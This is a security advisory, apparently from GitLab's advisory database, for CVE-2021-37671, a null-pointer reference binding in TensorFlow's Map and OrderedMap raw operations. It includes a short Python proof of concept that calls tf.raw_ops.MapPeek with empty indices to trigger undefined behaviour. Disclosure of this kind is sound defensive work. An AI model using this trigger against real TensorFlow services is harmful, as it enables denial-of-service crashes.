CVE-2021-37671: Reference binding to nullptr in map operations

(updated )

An attacker can cause undefined behavior via binding a reference to null pointer in tf.raw_ops.Map* and tf.raw_ops.OrderedMap* operations:

import tensorflow as tf

tf.raw_ops.MapPeek(
key=tf.constant([8],dtype=tf.int64),
indices=[],
dtypes=[tf.int32],
capacity=8,
memory_limit=128)

References

Code Behaviors & Features

Detect and mitigate CVE-2021-37671 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →